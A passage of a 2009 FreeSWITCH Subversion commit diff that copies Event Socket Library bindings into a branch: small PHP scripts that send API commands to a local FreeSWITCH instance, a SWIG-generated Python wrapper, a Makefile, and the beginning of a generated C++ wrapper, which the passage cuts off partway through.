Copied: freeswitch/branches/seven/libs/esl/php/single_command.php (from rev 14471, freeswitch/trunk/libs/esl/php/single_command.php) (0 => 14472)


--- freeswitch/branches/seven/libs/esl/php/single_command.php	                        (rev 0)
+++ freeswitch/branches/seven/libs/esl/php/single_command.php	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,17 @@
+#!/usr/bin/php
+<?php
+require_once('ESL.php');
+
+if ($argc > 1) {
+    array_shift($argv);
+    $command = sprintf('%s', implode(' ', $argv));
+    printf("Command to run is: %s\n", $command);
+
+    $sock = new ESLconnection('localhost', '8021', 'ClueCon');
+    $res = $sock->api($command);
+    printf("%s\n", $res->getBody());
+} else {
+    printf("ERROR: You Need To Pass A Command\nUsage:\n\t%s <command>", $argv[0]);
+}
+
+?>

Deleted: freeswitch/branches/seven/libs/esl/php/test.php

Copied: freeswitch/branches/seven/libs/esl/php/test.php (from rev 14471, freeswitch/trunk/libs/esl/php/test.php) (0 => 14472)


--- freeswitch/branches/seven/libs/esl/php/test.php	                        (rev 0)
+++ freeswitch/branches/seven/libs/esl/php/test.php	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,7 @@
+<?php
+require_once('ESL.php');
+
+$esl = new eslConnection('127.0.0.1', '8021', 'ClueCon');
+$e = $esl->sendRecv("api status");
+print $e->getBody();
+

Copied: freeswitch/branches/seven/libs/esl/python (from rev 14471, freeswitch/trunk/libs/esl/python)

Deleted: freeswitch/branches/seven/libs/esl/python/ESL.py

Copied: freeswitch/branches/seven/libs/esl/python/ESL.py (from rev 14471, freeswitch/trunk/libs/esl/python/ESL.py) (0 => 14472)


--- freeswitch/branches/seven/libs/esl/python/ESL.py	                        (rev 0)
+++ freeswitch/branches/seven/libs/esl/python/ESL.py	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,102 @@
+# This file was automatically generated by SWIG (http://www.swig.org).
+# Version 1.3.35
+#
+# Don't modify this file, modify the SWIG interface instead.
+# This file is compatible with both classic and new-style classes.
+
+import _ESL
+import new
+new_instancemethod = new.instancemethod
+def _swig_setattr_nondynamic(self,class_type,name,value,static=1):
+    if (name == "thisown"): return self.this.own(value)
+    if (name == "this"):
+        if type(value).__name__ == 'PySwigObject':
+            self.__dict__[name] = value
+            return
+    method = class_type.__swig_setmethods__.get(name,None)
+    if method: return method(self,value)
+    if (not static) or hasattr(self,name):
+        self.__dict__[name] = value
+    else:
+        raise AttributeError("You cannot add attributes to %s" % self)
+
+def _swig_setattr(self,class_type,name,value):
+    return _swig_setattr_nondynamic(self,class_type,name,value,0)
+
+def _swig_getattr(self,class_type,name):
+    if (name == "thisown"): return self.this.own()
+    method = class_type.__swig_getmethods__.get(name,None)
+    if method: return method(self)
+    raise AttributeError,name
+
+def _swig_repr(self):
+    try: strthis = "proxy of " + self.this.__repr__()
+    except: strthis = ""
+    return "<%s.%s; %s >" % (self.__class__.__module__, self.__class__.__name__, strthis,)
+
+class ESLevent:
+    __swig_setmethods__ = {}
+    __setattr__ = lambda self, name, value: _swig_setattr(self, ESLevent, name, value)
+    __swig_getmethods__ = {}
+    __getattr__ = lambda self, name: _swig_getattr(self, ESLevent, name)
+    __repr__ = _swig_repr
+    __swig_setmethods__["event"] = _ESL.ESLevent_event_set
+    __swig_getmethods__["event"] = _ESL.ESLevent_event_get
+    __swig_setmethods__["serialized_string"] = _ESL.ESLevent_serialized_string_set
+    __swig_getmethods__["serialized_string"] = _ESL.ESLevent_serialized_string_get
+    __swig_setmethods__["mine"] = _ESL.ESLevent_mine_set
+    __swig_getmethods__["mine"] = _ESL.ESLevent_mine_get
+    def __init__(self, *args): 
+        this = apply(_ESL.new_ESLevent, args)
+        try: self.this.append(this)
+        except: self.this = this
+    __swig_destroy__ = _ESL.delete_ESLevent
+    __del__ = lambda self : None;
+    def serialize(*args): return apply(_ESL.ESLevent_serialize, args)
+    def setPriority(*args): return apply(_ESL.ESLevent_setPriority, args)
+    def getHeader(*args): return apply(_ESL.ESLevent_getHeader, args)
+    def getBody(*args): return apply(_ESL.ESLevent_getBody, args)
+    def getType(*args): return apply(_ESL.ESLevent_getType, args)
+    def addBody(*args): return apply(_ESL.ESLevent_addBody, args)
+    def addHeader(*args): return apply(_ESL.ESLevent_addHeader, args)
+    def delHeader(*args): return apply(_ESL.ESLevent_delHeader, args)
+    def firstHeader(*args): return apply(_ESL.ESLevent_firstHeader, args)
+    def nextHeader(*args): return apply(_ESL.ESLevent_nextHeader, args)
+ESLevent_swigregister = _ESL.ESLevent_swigregister
+ESLevent_swigregister(ESLevent)
+
+class ESLconnection:
+    __swig_setmethods__ = {}
+    __setattr__ = lambda self, name, value: _swig_setattr(self, ESLconnection, name, value)
+    __swig_getmethods__ = {}
+    __getattr__ = lambda self, name: _swig_getattr(self, ESLconnection, name)
+    __repr__ = _swig_repr
+    def __init__(self, *args): 
+        this = apply(_ESL.new_ESLconnection, args)
+        try: self.this.append(this)
+        except: self.this = this
+    __swig_destroy__ = _ESL.delete_ESLconnection
+    __del__ = lambda self : None;
+    def socketDescriptor(*args): return apply(_ESL.ESLconnection_socketDescriptor, args)
+    def connected(*args): return apply(_ESL.ESLconnection_connected, args)
+    def getInfo(*args): return apply(_ESL.ESLconnection_getInfo, args)
+    def send(*args): return apply(_ESL.ESLconnection_send, args)
+    def sendRecv(*args): return apply(_ESL.ESLconnection_sendRecv, args)
+    def api(*args): return apply(_ESL.ESLconnection_api, args)
+    def bgapi(*args): return apply(_ESL.ESLconnection_bgapi, args)
+    def sendEvent(*args): return apply(_ESL.ESLconnection_sendEvent, args)
+    def recvEvent(*args): return apply(_ESL.ESLconnection_recvEvent, args)
+    def recvEventTimed(*args): return apply(_ESL.ESLconnection_recvEventTimed, args)
+    def filter(*args): return apply(_ESL.ESLconnection_filter, args)
+    def events(*args): return apply(_ESL.ESLconnection_events, args)
+    def execute(*args): return apply(_ESL.ESLconnection_execute, args)
+    def executeAsync(*args): return apply(_ESL.ESLconnection_executeAsync, args)
+    def setAsyncExecute(*args): return apply(_ESL.ESLconnection_setAsyncExecute, args)
+    def setEventLock(*args): return apply(_ESL.ESLconnection_setEventLock, args)
+    def disconnect(*args): return apply(_ESL.ESLconnection_disconnect, args)
+ESLconnection_swigregister = _ESL.ESLconnection_swigregister
+ESLconnection_swigregister(ESLconnection)
+
+eslSetLogLevel = _ESL.eslSetLogLevel
+
+

Deleted: freeswitch/branches/seven/libs/esl/python/Makefile

Copied: freeswitch/branches/seven/libs/esl/python/Makefile (from rev 14471, freeswitch/trunk/libs/esl/python/Makefile) (0 => 14472)


--- freeswitch/branches/seven/libs/esl/python/Makefile	                        (rev 0)
+++ freeswitch/branches/seven/libs/esl/python/Makefile	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,22 @@
+LOCAL_CFLAGS=-I/usr/include/python2.4
+LOCAL_LDFLAGS=-lpython2.4
+
+all: _ESL.so
+
+esl_wrap.cpp:
+	swig -module ESL -classic -python -c++ -DMULTIPLICITY -I../src/include -o esl_wrap.cpp ../ESL.i
+
+esl_wrap.o: esl_wrap.cpp
+	$(CXX) $(CXX_CFLAGS) $(CXXFLAGS) $(LOCAL_CFLAGS) -c esl_wrap.cpp -o esl_wrap.o
+
+_ESL.so: esl_wrap.o
+	$(CXX) $(SOLINK) esl_wrap.o $(MYLIB) $(LOCAL_LDFLAGS) -o _ESL.so -L. $(LIBS)
+
+clean:
+	rm -f *.o *.so *~
+
+swigclean:
+	rm -f esl_wrap.* ESL.so
+
+reswig:	swigclean esl_wrap.cpp
+

Deleted: freeswitch/branches/seven/libs/esl/python/esl_wrap.cpp

Copied: freeswitch/branches/seven/libs/esl/python/esl_wrap.cpp (from rev 14471, freeswitch/trunk/libs/esl/python/esl_wrap.cpp) (0 => 14472)


--- freeswitch/branches/seven/libs/esl/python/esl_wrap.cpp	                        (rev 0)
+++ freeswitch/branches/seven/libs/esl/python/esl_wrap.cpp	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,4913 @@
+/* ----------------------------------------------------------------------------
+ * This file was automatically generated by SWIG (http://www.swig.org).
+ * Version 1.3.35
+ * 
+ * This file is not intended to be easily readable and contains a number of 
+ * coding conventions designed to improve portability and efficiency. Do not make
+ * changes to this file unless you know what you are doing--modify the SWIG 
+ * interface file instead. 
+ * ----------------------------------------------------------------------------- */
+
+#define SWIGPYTHON
+#define SWIG_PYTHON_DIRECTOR_NO_VTABLE
+#define SWIG_PYTHON_CLASSIC
+
+#ifdef __cplusplus
+template<typename T> class SwigValueWrapper {
+    T *tt;
+public:
+    SwigValueWrapper() : tt(0) { }
+    SwigValueWrapper(const SwigValueWrapper<T>& rhs) : tt(new T(*rhs.tt)) { }
+    SwigValueWrapper(const T& t) : tt(new T(t)) { }
+    ~SwigValueWrapper() { delete tt; } 
+    SwigValueWrapper& operator=(const T& t) { delete tt; tt = new T(t); return *this; }
+    operator T&() const { return *tt; }
+    T *operator&() { return tt; }
+private:
+    SwigValueWrapper& operator=(const SwigValueWrapper<T>& rhs);
+};
+
+template <typename T> T SwigValueInit() {
+  return T();
+}
+#endif
+
+/* -----------------------------------------------------------------------------
+ *  This section contains generic SWIG labels for method/variable
+ *  declarations/attributes, and other compiler dependent labels.
+ * ----------------------------------------------------------------------------- */
+
+/* template workaround for compilers that cannot correctly implement the C++ standard */
+#ifndef SWIGTEMPLATEDISAMBIGUATOR
+# if defined(__SUNPRO_CC) && (__SUNPRO_CC <= 0x560)
+#  define SWIGTEMPLATEDISAMBIGUATOR template
+# elif defined(__HP_aCC)
+/* Needed even with `aCC -AA' when `aCC -V' reports HP ANSI C++ B3910B A.03.55 */
+/* If we find a maximum version that requires this, the test would be __HP_aCC <= 35500 for A.03.55 */
+#  define SWIGTEMPLATEDISAMBIGUATOR template
+# else
+#  define SWIGTEMPLATEDISAMBIGUATOR
+# endif
+#endif
+
+/* inline attribute */
+#ifndef SWIGINLINE
+# if defined(__cplusplus) || (defined(__GNUC__) && !defined(__STRICT_ANSI__))
+#   define SWIGINLINE inline
+# else
+#   define SWIGINLINE
+# endif
+#endif
+
+/* attribute recognised by some compilers to avoid 'unused' warnings */
+#ifndef SWIGUNUSED
+# if defined(__GNUC__)
+#   if !(defined(__cplusplus)) || (__GNUC__ > 3 || (__GNUC__ == 3 && __GNUC_MINOR__ >= 4))
+#     define SWIGUNUSED __attribute__ ((__unused__)) 
+#   else
+#     define SWIGUNUSED
+#   endif
+# elif defined(__ICC)
+#   define SWIGUNUSED __attribute__ ((__unused__)) 
+# else
+#   define SWIGUNUSED 
+# endif
+#endif
+
+#ifndef SWIGUNUSEDPARM
+# ifdef __cplusplus
+#   define SWIGUNUSEDPARM(p)
+# else
+#   define SWIGUNUSEDPARM(p) p SWIGUNUSED 
+# endif
+#endif
+
+/* internal SWIG method */
+#ifndef SWIGINTERN
+# define SWIGINTERN static SWIGUNUSED
+#endif
+
+/* internal inline SWIG method */
+#ifndef SWIGINTERNINLINE
+# define SWIGINTERNINLINE SWIGINTERN SWIGINLINE
+#endif
+
+/* exporting methods */
+#if (__GNUC__ >= 4) || (__GNUC__ == 3 && __GNUC_MINOR__ >= 4)
+#  ifndef GCC_HASCLASSVISIBILITY
+#    define GCC_HASCLASSVISIBILITY
+#  endif
+#endif
+
+#ifndef SWIGEXPORT
+# if defined(_WIN32) || defined(__WIN32__) || defined(__CYGWIN__)
+#   if defined(STATIC_LINKED)
+#     define SWIGEXPORT
+#   else
+#     define SWIGEXPORT __declspec(dllexport)
+#   endif
+# else
+#   if defined(__GNUC__) && defined(GCC_HASCLASSVISIBILITY)
+#     define SWIGEXPORT __attribute__ ((visibility("default")))
+#   else
+#     define SWIGEXPORT
+#   endif
+# endif
+#endif
+
+/* calling conventions for Windows */
+#ifndef SWIGSTDCALL
+# if defined(_WIN32) || defined(__WIN32__) || defined(__CYGWIN__)
+#   define SWIGSTDCALL __stdcall
+# else
+#   define SWIGSTDCALL
+# endif 
+#endif
+
+/* Deal with Microsoft's attempt at deprecating C standard runtime functions */
+#if !defined(SWIG_NO_CRT_SECURE_NO_DEPRECATE) && defined(_MSC_VER) && !defined(_CRT_SECURE_NO_DEPRECATE)
+# define _CRT_SECURE_NO_DEPRECATE
+#endif
+
+/* Deal with Microsoft's attempt at deprecating methods in the standard C++ library */
+#if !defined(SWIG_NO_SCL_SECURE_NO_DEPRECATE) && defined(_MSC_VER) && !defined(_SCL_SECURE_NO_DEPRECATE)
+# define _SCL_SECURE_NO_DEPRECATE
+#endif
+
+
+
+/* Python.h has to appear first */
+#include <Python.h>
+
+/* -----------------------------------------------------------------------------
+ * swigrun.swg
+ *
+ * This file contains generic CAPI SWIG runtime support for pointer
+ * type checking.
+ * ----------------------------------------------------------------------------- */
+
+/* This should only be incremented when either the layout of swig_type_info changes,
+   or for whatever reason, the runtime changes incompatibly */
+#define SWIG_RUNTIME_VERSION "4"
+
+/* define SWIG_TYPE_TABLE_NAME as "SWIG_TYPE_TABLE" */
+#ifdef SWIG_TYPE_TABLE
+# define SWIG_QUOTE_STRING(x) #x
+# define SWIG_EXPAND_AND_QUOTE_STRING(x) SWIG_QUOTE_STRING(x)
+# define SWIG_TYPE_TABLE_NAME SWIG_EXPAND_AND_QUOTE_STRING(SWIG_TYPE_TABLE)
+#else
+# define SWIG_TYPE_TABLE_NAME
+#endif
+
+/*
+  You can use the SWIGRUNTIME and SWIGRUNTIMEINLINE macros for
+  creating a static or dynamic library from the swig runtime code.
+  In 99.9% of the cases, swig just needs to declare them as 'static'.
+  
+  But only do this if is strictly necessary, ie, if you have problems
+  with your compiler or so.
+*/
+
+#ifndef SWIGRUNTIME
+# define SWIGRUNTIME SWIGINTERN
+#endif
+
+#ifndef SWIGRUNTIMEINLINE
+# define SWIGRUNTIMEINLINE SWIGRUNTIME SWIGINLINE
+#endif
+
+/*  Generic buffer size */
+#ifndef SWIG_BUFFER_SIZE
+# define SWIG_BUFFER_SIZE 1024
+#endif
+
+/* Flags for pointer conversions */
+#define SWIG_POINTER_DISOWN        0x1
+#define SWIG_CAST_NEW_MEMORY       0x2
+
+/* Flags for new pointer objects */
+#define SWIG_POINTER_OWN           0x1
+
+
+/* 
+   Flags/methods for returning states.
+   
+   The swig conversion methods, as ConvertPtr, return and integer 
+   that tells if the conversion was successful or not. And if not,
+   an error code can be returned (see swigerrors.swg for the codes).
+   
+   Use the following macros/flags to set or process the returning
+   states.
+   
+   In old swig versions, you usually write code as:
+
+     if (SWIG_ConvertPtr(obj,vptr,ty.flags) != -1) {
+       // success code
+     } else {
+       //fail code
+     }
+
+   Now you can be more explicit as:
+
+    int res = SWIG_ConvertPtr(obj,vptr,ty.flags);
+    if (SWIG_IsOK(res)) {
+      // success code
+    } else {
+      // fail code
+    }
+
+   that seems to be the same, but now you can also do
+
+    Type *ptr;
+    int res = SWIG_ConvertPtr(obj,(void **)(&ptr),ty.flags);
+    if (SWIG_IsOK(res)) {
+      // success code
+      if (SWIG_IsNewObj(res) {
+        ...
+	delete *ptr;
+      } else {
+        ...
+      }
+    } else {
+      // fail code
+    }
+    
+   I.e., now SWIG_ConvertPtr can return new objects and you can
+   identify the case and take care of the deallocation. Of course that
+   requires also to SWIG_ConvertPtr to return new result values, as
+
+      int SWIG_ConvertPtr(obj, ptr,...) {         
+        if (<obj is ok>) {			       
+          if (<need new object>) {		       
+            *ptr = <ptr to new allocated object>; 
+            return SWIG_NEWOBJ;		       
+          } else {				       
+            *ptr = <ptr to old object>;	       
+            return SWIG_OLDOBJ;		       
+          } 				       
+        } else {				       
+          return SWIG_BADOBJ;		       
+        }					       
+      }
+
+   Of course, returning the plain '0(success)/-1(fail)' still works, but you can be
+   more explicit by returning SWIG_BADOBJ, SWIG_ERROR or any of the
+   swig errors code.
+
+   Finally, if the SWIG_CASTRANK_MODE is enabled, the result code
+   allows to return the 'cast rank', for example, if you have this
+
+       int food(double)
+       int fooi(int);
+
+   and you call
+ 
+      food(1)   // cast rank '1'  (1 -> 1.0)
+      fooi(1)   // cast rank '0'
+
+   just use the SWIG_AddCast()/SWIG_CheckState()
+
+
+ */
+#define SWIG_OK                    (0) 
+#define SWIG_ERROR                 (-1)
+#define SWIG_IsOK(r)               (r >= 0)
+#define SWIG_ArgError(r)           ((r != SWIG_ERROR) ? r : SWIG_TypeError)  
+
+/* The CastRankLimit says how many bits are used for the cast rank */
+#define SWIG_CASTRANKLIMIT         (1 << 8)
+/* The NewMask denotes the object was created (using new/malloc) */
+#define SWIG_NEWOBJMASK            (SWIG_CASTRANKLIMIT  << 1)
+/* The TmpMask is for in/out typemaps that use temporal objects */
+#define SWIG_TMPOBJMASK            (SWIG_NEWOBJMASK << 1)
+/* Simple returning values */
+#define SWIG_BADOBJ                (SWIG_ERROR)
+#define SWIG_OLDOBJ                (SWIG_OK)
+#define SWIG_NEWOBJ                (SWIG_OK | SWIG_NEWOBJMASK)
+#define SWIG_TMPOBJ                (SWIG_OK | SWIG_TMPOBJMASK)
+/* Check, add and del mask methods */
+#define SWIG_AddNewMask(r)         (SWIG_IsOK(r) ? (r | SWIG_NEWOBJMASK) : r)
+#define SWIG_DelNewMask(r)         (SWIG_IsOK(r) ? (r & ~SWIG_NEWOBJMASK) : r)
+#define SWIG_IsNewObj(r)           (SWIG_IsOK(r) && (r & SWIG_NEWOBJMASK))
+#define SWIG_AddTmpMask(r)         (SWIG_IsOK(r) ? (r | SWIG_TMPOBJMASK) : r)
+#define SWIG_DelTmpMask(r)         (SWIG_IsOK(r) ? (r & ~SWIG_TMPOBJMASK) : r)
+#define SWIG_IsTmpObj(r)           (SWIG_IsOK(r) && (r & SWIG_TMPOBJMASK))
+
+
+/* Cast-Rank Mode */
+#if defined(SWIG_CASTRANK_MODE)
+#  ifndef SWIG_TypeRank
+#    define SWIG_TypeRank             unsigned long
+#  endif
+#  ifndef SWIG_MAXCASTRANK            /* Default cast allowed */
+#    define SWIG_MAXCASTRANK          (2)
+#  endif
+#  define SWIG_CASTRANKMASK          ((SWIG_CASTRANKLIMIT) -1)
+#  define SWIG_CastRank(r)           (r & SWIG_CASTRANKMASK)
+SWIGINTERNINLINE int SWIG_AddCast(int r) { 
+  return SWIG_IsOK(r) ? ((SWIG_CastRank(r) < SWIG_MAXCASTRANK) ? (r + 1) : SWIG_ERROR) : r;
+}
+SWIGINTERNINLINE int SWIG_CheckState(int r) { 
+  return SWIG_IsOK(r) ? SWIG_CastRank(r) + 1 : 0; 
+}
+#else /* no cast-rank mode */
+#  define SWIG_AddCast
+#  define SWIG_CheckState(r) (SWIG_IsOK(r) ? 1 : 0)
+#endif
+
+
+
+
+#include <string.h>
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+typedef void *(*swig_converter_func)(void *, int *);
+typedef struct swig_type_info *(*swig_dycast_func)(void **);
+
+/* Structure to store information on one type */
+typedef struct swig_type_info {
+  const char             *name;			/* mangled name of this type */
+  const char             *str;			/* human readable name of this type */
+  swig_dycast_func        dcast;		/* dynamic cast function down a hierarchy */
+  struct swig_cast_info  *cast;			/* linked list of types that can cast into this type */
+  void                   *clientdata;		/* language specific type data */
+  int                    owndata;		/* flag if the structure owns the clientdata */
+} swig_type_info;
+
+/* Structure to store a type and conversion function used for casting */
+typedef struct swig_cast_info {
+  swig_type_info         *type;			/* pointer to type that is equivalent to this type */
+  swig_converter_func     converter;		/* function to cast the void pointers */
+  struct swig_cast_info  *next;			/* pointer to next cast in linked list */
+  struct swig_cast_info  *prev;			/* pointer to the previous cast */
+} swig_cast_info;
+
+/* Structure used to store module information
+ * Each module generates one structure like this, and the runtime collects
+ * all of these structures and stores them in a circularly linked list.*/
+typedef struct swig_module_info {
+  swig_type_info         **types;		/* Array of pointers to swig_type_info structures that are in this module */
+  size_t                 size;		        /* Number of types in this module */
+  struct swig_module_info *next;		/* Pointer to next element in circularly linked list */
+  swig_type_info         **type_initial;	/* Array of initially generated type structures */
+  swig_cast_info         **cast_initial;	/* Array of initially generated casting structures */
+  void                    *clientdata;		/* Language specific module data */
+} swig_module_info;
+
+/* 
+  Compare two type names skipping the space characters, therefore
+  "char*" == "char *" and "Class<int>" == "Class<int >", etc.
+
+  Return 0 when the two name types are equivalent, as in
+  strncmp, but skipping ' '.
+*/
+SWIGRUNTIME int
+SWIG_TypeNameComp(const char *f1, const char *l1,
+		  const char *f2, const char *l2) {
+  for (;(f1 != l1) && (f2 != l2); ++f1, ++f2) {
+    while ((*f1 == ' ') && (f1 != l1)) ++f1;
+    while ((*f2 == ' ') && (f2 != l2)) ++f2;
+    if (*f1 != *f2) return (*f1 > *f2) ? 1 : -1;
+  }
+  return (int)((l1 - f1) - (l2 - f2));
+}
+
+/*
+  Check type equivalence in a name list like <name1>|<name2>|...
+  Return 0 if not equal, 1 if equal
+*/
+SWIGRUNTIME int
+SWIG_TypeEquiv(const char *nb, const char *tb) {
+  int equiv = 0;
+  const char* te = tb + strlen(tb);
+  const char* ne = nb;
+  while (!equiv && *ne) {
+    for (nb = ne; *ne; ++ne) {
+      if (*ne == '|') break;
+    }
+    equiv = (SWIG_TypeNameComp(nb, ne, tb, te) == 0) ? 1 : 0;
+    if (*ne) ++ne;
+  }
+  return equiv;
+}
+
+/*
+  Check type equivalence in a name list like <name1>|<name2>|...
+  Return 0 if equal, -1 if nb < tb, 1 if nb > tb
+*/
+SWIGRUNTIME int
+SWIG_TypeCompare(const char *nb, const char *tb) {
+  int equiv = 0;
+  const char* te = tb + strlen(tb);
+  const char* ne = nb;
+  while (!equiv && *ne) {
+    for (nb = ne; *ne; ++ne) {
+      if (*ne == '|') break;
+    }
+    equiv = (SWIG_TypeNameComp(nb, ne, tb, te) == 0) ? 1 : 0;
+    if (*ne) ++ne;
+  }
+  return equiv;
+}
+
+
+/* think of this as a c++ template<> or a scheme macro */
+#define SWIG_TypeCheck_Template(comparison, ty)         \
+  if (ty) {                                             \
+    swig_cast_info *iter = ty->cast;                    \
+    while (iter) {                                      \
+      if (comparison) {                                 \
+        if (iter == ty->cast) return iter;              \
+        /* Move iter to the top of the linked list */   \
+        iter->prev->next = iter->next;                  \
+        if (iter->next)                                 \
+          iter->next->prev = iter->prev;                \
+        iter->next = ty->cast;                          \
+        iter->prev = 0;                                 \
+        if (ty->cast) ty->cast->prev = iter;            \
+        ty->cast = iter;                                \
+        return iter;                                    \
+      }                                                 \
+      iter = iter->next;                                \
+    }                                                   \
+  }                                                     \
+  return 0
+
+/*
+  Check the typename
+*/
+SWIGRUNTIME swig_cast_info *
+SWIG_TypeCheck(const char *c, swig_type_info *ty) {
+  SWIG_TypeCheck_Template(strcmp(iter->type->name, c) == 0, ty);
+}
+
+/* Same as previous function, except strcmp is replaced with a pointer comparison */
+SWIGRUNTIME swig_cast_info *
+SWIG_TypeCheckStruct(swig_type_info *from, swig_type_info *into) {
+  SWIG_TypeCheck_Template(iter->type == from, into);
+}
+
+/*
+  Cast a pointer up an inheritance hierarchy
+*/
+SWIGRUNTIMEINLINE void *
+SWIG_TypeCast(swig_cast_info *ty, void *ptr, int *newmemory) {
+  return ((!ty) || (!ty->converter)) ? ptr : (*ty->converter)(ptr, newmemory);
+}
+
+/* 
+   Dynamic pointer casting. Down an inheritance hierarchy
+*/
+SWIGRUNTIME swig_type_info *
+SWIG_TypeDynamicCast(swig_type_info *ty, void **ptr) {
+  swig_type_info *lastty = ty;
+  if (!ty || !ty->dcast) return ty;
+  while (ty && (ty->dcast)) {
+    ty = (*ty->dcast)(ptr);
+    if (ty) lastty = ty;
+  }
+  return lastty;
+}
+
+/*
+  Return the name associated with this type
+*/
+SWIGRUNTIMEINLINE const char *
+SWIG_TypeName(const swig_type_info *ty) {
+  return ty->name;
+}
+
+/*
+  Return the pretty name associated with this type,
+  that is an unmangled type name in a form presentable to the user.
+*/
+SWIGRUNTIME const char *
+SWIG_TypePrettyName(const swig_type_info *type) {
+  /* The "str" field contains the equivalent pretty names of the
+     type, separated by vertical-bar characters.  We choose
+     to print the last name, as it is often (?) the most
+     specific. */
+  if (!type) return NULL;
+  if (type->str != NULL) {
+    const char *last_name = type->str;
+    const char *s;
+    for (s = type->str; *s; s++)
+      if (*s == '|') last_name = s+1;
+    return last_name;
+  }
+  else
+    return type->name;
+}
+
+/* 
+   Set the clientdata field for a type
+*/
+SWIGRUNTIME void
+SWIG_TypeClientData(swig_type_info *ti, void *clientdata) {
+  swig_cast_info *cast = ti->cast;
+  /* if (ti->clientdata == clientdata) return; */
+  ti->clientdata = clientdata;
+  
+  while (cast) {
+    if (!cast->converter) {
+      swig_type_info *tc = cast->type;
+      if (!tc->clientdata) {
+	SWIG_TypeClientData(tc, clientdata);
+      }
+    }    
+    cast = cast->next;
+  }
+}
+SWIGRUNTIME void
+SWIG_TypeNewClientData(swig_type_info *ti, void *clientdata) {
+  SWIG_TypeClientData(ti, clientdata);
+  ti->owndata = 1;
+}
+  
+/*
+  Search for a swig_type_info structure only by mangled name
+  Search is a O(log #types)
+  
+  We start searching at module start, and finish searching when start == end.  
+  Note: if start == end at the beginning of the function, we go all the way around
+  the circular list.
+*/
+SWIGRUNTIME swig_type_info *
+SWIG_MangledTypeQueryModule(swig_module_info *start, 
+                            swig_module_info *end, 
+		            const char *name) {
+  swig_module_info *iter = start;
+  do {
+    if (iter->size) {
+      register size_t l = 0;
+      register size_t r = iter->size - 1;
+      do {
+	/* since l+r >= 0, we can (>> 1) instead (/ 2) */
+	register size_t i = (l + r) >> 1; 
+	const char *iname = iter->types[i]->name;
+	if (iname) {
+	  register int compare = strcmp(name, iname);
+	  if (compare == 0) {	    
+	    return iter->types[i];
+	  } else if (compare < 0) {
+	    if (i) {
+	      r = i - 1;
+	    } else {
+	      break;
+	    }
+	  } else if (compare > 0) {
+	    l = i + 1;
+	  }
+	} else {
+	  break; /* should never happen */
+	}
+      } while (l <= r);
+    }
+    iter = iter->next;
+  } while (iter != end);
+  return 0;
+}
+
+/*
+  Search for a swig_type_info structure for either a mangled name or a human readable name.
+  It first searches the mangled names of the types, which is a O(log #types)
+  If a type is not found it then searches the human readable names, which is O(#types).
+  
+  We start searching at module start, and finish searching when start == end.  
+  Note: if start == end at the beginning of the function, we go all the way around
+  the circular list.
+*/
+SWIGRUNTIME swig_type_info *
+SWIG_TypeQueryModule(swig_module_info *start, 
+                     swig_module_info *end, 
+		     const char *name) {
+  /* STEP 1: Search the name field using binary search */
+  swig_type_info *ret = SWIG_MangledTypeQueryModule(start, end, name);
+  if (ret) {
+    return ret;
+  } else {
+    /* STEP 2: If the type hasn't been found, do a complete search
+       of the str field (the human readable name) */
+    swig_module_info *iter = start;
+    do {
+      register size_t i = 0;
+      for (; i < iter->size; ++i) {
+	if (iter->types[i]->str && (SWIG_TypeEquiv(iter->types[i]->str, name)))
+	  return iter->types[i];
+      }
+      iter = iter->next;
+    } while (iter != end);
+  }
+  
+  /* neither found a match */
+  return 0;
+}
+
+/* 
+   Pack binary data into a string
+*/
+SWIGRUNTIME char *
+SWIG_PackData(char *c, void *ptr, size_t sz) {
+  static const char hex[17] = "0123456789abcdef";
+  register const unsigned char *u = (unsigned char *) ptr;
+  register const unsigned char *eu =  u + sz;
+  for (; u != eu; ++u) {
+    register unsigned char uu = *u;
+    *(c++) = hex[(uu & 0xf0) >> 4];
+    *(c++) = hex[uu & 0xf];
+  }
+  return c;
+}
+
+/* 
+   Unpack binary data from a string
+*/
+SWIGRUNTIME const char *
+SWIG_UnpackData(const char *c, void *ptr, size_t sz) {
+  register unsigned char *u = (unsigned char *) ptr;
+  register const unsigned char *eu = u + sz;
+  for (; u != eu; ++u) {
+    register char d = *(c++);
+    register unsigned char uu;
+    if ((d >= '0') && (d <= '9'))
+      uu = ((d - '0') << 4);
+    else if ((d >= 'a') && (d <= 'f'))
+      uu = ((d - ('a'-10)) << 4);
+    else 
+      return (char *) 0;
+    d = *(c++);
+    if ((d >= '0') && (d <= '9'))
+      uu |= (d - '0');
+    else if ((d >= 'a') && (d <= 'f'))
+      uu |= (d - ('a'-10));
+    else 
+      return (char *) 0;
+    *u = uu;
+  }
+  return c;
+}
+
+/* 
+   Pack 'void *' into a string buffer.
+*/
+SWIGRUNTIME char *
+SWIG_PackVoidPtr(char *buff, void *ptr, const char *name, size_t bsz) {
+  char *r = buff;
+  if ((2*sizeof(void *) + 2) > bsz) return 0;
+  *(r++) = '_';
+  r = SWIG_PackData(r,&ptr,sizeof(void *));
+  if (strlen(name) + 1 > (bsz - (r - buff))) return 0;
+  strcpy(r,name);
+  return buff;
+}
+
+SWIGRUNTIME const char *
+SWIG_UnpackVoidPtr(const char *c, void **ptr, const char *name) {
+  if (*c != '_') {
+    if (strcmp(c,"NULL") == 0) {
+      *ptr = (void *) 0;
+      return name;
+    } else {
+      return 0;
+    }
+  }
+  return SWIG_UnpackData(++c,ptr,sizeof(void *));
+}
+
+SWIGRUNTIME char *
+SWIG_PackDataName(char *buff, void *ptr, size_t sz, const char *name, size_t bsz) {
+  char *r = buff;
+  size_t lname = (name ? strlen(name) : 0);
+  if ((2*sz + 2 + lname) > bsz) return 0;
+  *(r++) = '_';
+  r = SWIG_PackData(r,ptr,sz);
+  if (lname) {
+    strncpy(r,name,lname+1);
+  } else {
+    *r = 0;
+  }
+  return buff;
+}
+
+SWIGRUNTIME const char *
+SWIG_UnpackDataName(const char *c, void *ptr, size_t sz, const char *name) {
+  if (*c != '_') {
+    if (strcmp(c,"NULL") == 0) {
+      memset(ptr,0,sz);
+      return name;
+    } else {
+      return 0;
+    }
+  }
+  return SWIG_UnpackData(++c,ptr,sz);
+}
+
+#ifdef __cplusplus
+}
+#endif
+
+/*  Errors in SWIG */
+#define  SWIG_UnknownError    	   -1 
+#define  SWIG_IOError        	   -2 
+#define  SWIG_RuntimeError   	   -3 
